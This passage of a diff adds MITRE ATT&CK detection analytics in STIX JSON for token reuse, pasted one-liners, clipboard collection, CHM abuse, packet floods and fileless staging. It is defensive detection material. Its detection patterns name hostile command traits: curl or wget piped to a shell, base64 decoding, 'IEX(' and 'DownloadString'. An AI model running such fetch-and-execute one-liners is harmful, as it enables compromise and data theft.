[ + { + "field": "GeoIPDistanceThreshold", + "description": "Minimum distance between token reuse events to trigger detection" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2127b359-24b0-40e2-a202-67e53d5be3b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0338#AN0958", + "external_id": "AN0958" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0958", + "description": "Container process uses mounted cloud credentials or token cache to authenticate without known orchestration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "docker:runtime", + "channel": "execution of cloud CLI tool (e.g., aws, az) inside container" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "AWS:CloudTrail", + "channel": "AssumeRole" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ContainerLabel", + "description": "Restrict to prod workloads or certain namespaces" + }, + { + "field": "CredentialPath", + "description": "Path used to mount sensitive tokens (e.g., /.aws/credentials)" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1313533a-06c7-44ea-8d75-9a23d3ea23cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0338#AN0959", + "external_id": "AN0959" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0959", + "description": "Access token reuse to connect to SharePoint or Outlook APIs without interactive user context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "m365:unified", + "channel": "TokenIssued, FileAccessed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgentCheck", + "description": "Tune to detect access from CLI agents or scripts rather than interactive browsers" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--91681b37-7fc7-418c-b4fd-35bebe1d151e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0338#AN0960", + "external_id": "AN0960" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0960", + "description": "Use of instance metadata tokens across instances or misuse of short-lived tokens issued for different roles.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "AWS:CloudTrail", + "channel": "GetCallerIdentity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "AWS:CloudTrail", + "channel": "AssumeRole" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TokenReuseWindow", + "description": "Time window where token reuse is suspicious" + }, + { + "field": "RoleMismatchAlerting", + "description": "Enable if tokens for RoleA are used in resources only RoleB should access" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b192336c-4a85-4322-9ae8-fd6eb6b7747b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0339#AN0961", + "external_id": "AN0961" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0961", + "description": "Defenders may observe unauthorized modifications to encryption-related configuration files, firmware, or crypto modules on network devices. Suspicious patterns include changes to cipher suite configurations, unexpected firmware updates affecting crypto libraries, disabling of hardware cryptographic accelerators, or reductions in key length policies. Correlating configuration changes with anomalies in encrypted traffic characteristics (e.g., weaker ciphers or sudden plaintext transmission) strengthens detection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:config", + "channel": "Configuration change events referencing encryption, TLS/SSL, or IPSec settings" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "snmp:status", + "channel": "Status change in cryptographic hardware modules (enabled -> disabled)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CipherSuiteWhitelist", + "description": "List of approved encryption algorithms and key lengths; customizable to organizational policy." + }, + { + "field": "TimeWindow", + "description": "Correlation period between configuration changes and abnormal traffic; adjustable to reduce false positives." + }, + { + "field": "AuthorizedFirmwareSources", + "description": "Known trusted sources of firmware updates; deviations indicate possible compromise." + }, + { + "field": "TrafficEntropyThreshold", + "description": "Baseline entropy measurements of encrypted traffic; deviations may reveal weakening of encryption." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8cb0a7da-942b-4771-b9d5-cf558755677a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0340#AN0962", + "external_id": "AN0962" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0962", + "description": "A user is socially engineered (web page, email, document) to open Run/PowerShell/CMD and paste an obfuscated one-liner. The chain is: (1) user context active in a browser/email/office app \u2192 (2) process creation of a command interpreter with suspicious arguments (base64/Invoke-Expression/web download/pipeline to shell) \u2192 (3) optional file drop in %TEMP% or %APPDATA% \u2192 (4) outbound network connection to an external domain. Events are correlated within a short window and with consistent user/session.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation horizon from parent app (browser/email/office) to interpreter spawn (e.g., 15 minutes)." + }, + { + "field": "ParentProcessAllowList", + "description": "Legitimate automation that spawns PowerShell/CMD from Office/Email/Browser." + }, + { + "field": "SuspiciousArgPatterns", + "description": "List of command-line substrings indicating pasted one-liners (e.g., '-enc', 'FromBase64String', 'IEX(', 'DownloadString', 'Invoke-WebRequest', 'curl|wget.*\\|\\s*(sh|bash|powershell)')." + }, + { + "field": "WritePaths", + "description": "Directories treated as risky for first-stage drops (%TEMP%, %APPDATA%, %PUBLIC%)." + }, + { + "field": "OutboundCIDRBlockList", + "description": "Internet ranges/domains to alert on for first-run egress." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1895e723-dcfb-45d4-80fc-aaa0c3963cc9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0340#AN0963", + "external_id": "AN0963" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0963", + "description": "User pastes a multi-line or one-liner into a terminal (bash/zsh) that downloads/decodes and executes content. Chain: terminal exec of curl/wget/bash/sh with pipe to interpreter or base64-decode \u2192 transient file under /tmp|~/.cache \u2192 immediate outbound egress.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64\\s*-d|python\\s*-c'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "New egress to Internet by the same UID/host shortly after terminal exec" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TerminalProcessNames", + "description": "Gui/tty terminals to monitor (gnome-terminal, konsole, iTerm2, tmux)." + }, + { + "field": "RiskyFilePaths", + "description": "Temp/cache paths to watch for first-stage drops." + }, + { + "field": "AnomalousUserSet", + "description": "Users who should never run curl/wget or compilers." + }, + { + "field": "TimeWindow", + "description": "Exec\u2192file\u2192egress correlation window (e.g., 10 minutes)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--acf0fdbb-6fbf-42c0-acc4-75a545c24f90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0340#AN0964", + "external_id": "AN0964" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0964", + "description": "User pastes an obfuscated command into Terminal.app/iTerm2 that decodes or downloads code and executes. Detects Terminal/iTerm2 spawning bash/zsh/python with suspicious pipeline/base64 patterns followed by file writes in ~/Library or /tmp and outbound network connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64 -D|python -c'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:osquery", + "channel": "Interpreter exec with suspicious arguments as above" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Egress to non-approved networks from host after terminal exec" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentAppScope", + "description": "Terminal apps to treat as user-paste origins (Terminal, iTerm2, VSCode integrated terminal)." + }, + { + "field": "CommandPatternList", + "description": "macOS-specific one-liner traits (pbpaste|base64 -D|curl ... | sh)." + }, + { + "field": "AllowListedDevUsers", + "description": "Developers/automation accounts expected to run such commands." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--48e4aceb-38dd-4bf2-8074-9fee8436985b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0341#AN0965", + "external_id": "AN0965" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0965", + "description": "Detection of clipboard access via OS utilities (e.g., clip.exe, Get-Clipboard) by non-interactive or abnormal parent processes, potentially chained with staging or exfiltration commands.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines how far back to look for parent-child relationships and follow-on network activity." + }, + { + "field": "UserContext", + "description": "Filters based on service vs interactive users to reduce noise." + }, + { + "field": "ParentProcessName", + "description": "Tunable list of expected/benign clipboard accessors." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--38252d77-0b46-4e00-8732-3ce1f8491472", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0341#AN0966", + "external_id": "AN0966" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0966", + "description": "Detection of pbpaste/pbcopy clipboard access by processes without terminal sessions or linked to launch agents, potentially staged for collection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionChainLength", + "description": "How many chained or embedded processes to track for correlation." + }, + { + "field": "TerminalSession", + "description": "Whether the pbpaste/pbcopy action is tied to a user terminal." + }, + { + "field": "BinaryPath", + "description": "Adjust if clipboard tooling is relocated (e.g., /opt/empyre/pbpaste)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ab9a4c72-f7ce-4721-8c9f-c5d9c966b600", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0341#AN0967", + "external_id": "AN0967" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0967", + "description": "Detection of xclip or xsel access to clipboard buffers outside of user terminal context, especially when chained to staging (gzip, base64) or network exfiltration (curl, scp).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ClipboardCommand", + "description": "Tool used (xclip, xsel, custom clipboard-read binary)." + }, + { + "field": "CorrelationWindow", + "description": "Temporal window to chain staging or network activity with clipboard access." + }, + { + "field": "TTYLinked", + "description": "Was access linked to interactive user TTY?" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--23e84bf6-70d1-4c49-97b8-0fff9c6efa8f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0342#AN0968", + "external_id": "AN0968" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0968", + "description": "Execution of hh.exe to open a .chm file followed by suspicious child processes or script engine invocation (VBScript, JScript, mshta, powershell). Behavior includes loading a CHM file from untrusted locations, or immediately spawning commands indicative of payload execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CHMPathRegex", + "description": "Regex matching CHM file locations; tune to exclude trusted internal software help files" + }, + { + "field": "ChildProcessList", + "description": "List of suspicious children of hh.exe (powershell.exe, cmd.exe, mshta.exe, wscript.exe)" + }, + { + "field": "NetworkDestinationAllowlist", + "description": "Filter for legitimate update/help servers accessed by hh.exe" + }, + { + "field": "TimeWindow", + "description": "Threshold time between hh.exe execution and suspicious follow-on activity" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0de81d5a-ffba-4eba-915d-c4f4d8b30f9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0343#AN0969", + "external_id": "AN0969" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0969", + "description": "High-volume packet generation by local processes (e.g., PowerShell, cmd, curl.exe) or network service processes resulting in excessive outbound traffic over short time window, correlated with abnormal resource usage or degraded host responsiveness.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PacketRateThreshold", + "description": "Defines the burst threshold (e.g., 10,000 pps) above which activity should be flagged as anomalous." + }, + { + "field": "TimeWindow", + "description": "Duration over which to aggregate and analyze flow volume." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a94c1081-d66b-4009-95a9-247721fcd394", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0343#AN0970", + "external_id": "AN0970" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0970", + "description": "Kernel or userland processes generating high-rate network traffic (ICMP, UDP, TCP SYN) beyond expected interface throughput or user behavior norms.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "auditd:SYSCALL", + "channel": "connect or sendto system call with burst pattern" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SyscallBurstCount", + "description": "Threshold of repeated socket calls within a short interval indicating flood behavior." + }, + { + "field": "UserContext", + "description": "Restrict to non-admin user traffic unless elevated access is detected." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a82a14f4-6fc9-43b5-b183-68af3cb075a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0343#AN0971", + "external_id": "AN0971" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0971", + "description": "Excessive outbound traffic via `ping`, `curl`, or custom scripts indicating flooding behavior, especially with no UI context or user interaction.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process created with repeated ICMP or UDP flood behavior" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "sudden burst in outgoing packets from same PID" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BurstTimeWindow", + "description": "Tunable range (e.g., 15s, 30s) for detecting packet floods." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--408b2724-079c-4636-9764-52f435726de7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0343#AN0972", + "external_id": "AN0972" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0972", + "description": "VM or cloud instance generating anomalously high network egress targeting same destination IP or service, especially using stateless protocols.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "AWS:VPCFlowLogs", + "channel": "source instance sends large volume of traffic in short window" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "CloudWatch:InstanceMetrics", + "channel": "NetworkOut spike beyond baseline" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InstanceTrafficThreshold", + "description": "Alert when egress exceeds normal usage by X%." + }, + { + "field": "ProtocolType", + "description": "Prioritize alerts on stateless protocols such as UDP and ICMP." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4f5f4b26-0bf0-4f3d-b8ac-1af660923bd2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0344#AN0973", + "external_id": "AN0973" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0973", + "description": "Detects abuse of fileless storage mechanisms such as Registry keys, WMI classes, and Event Logs used to stage payloads, scripts, or encoded content outside traditional files.", + "x-mitre-deprecated": false, + 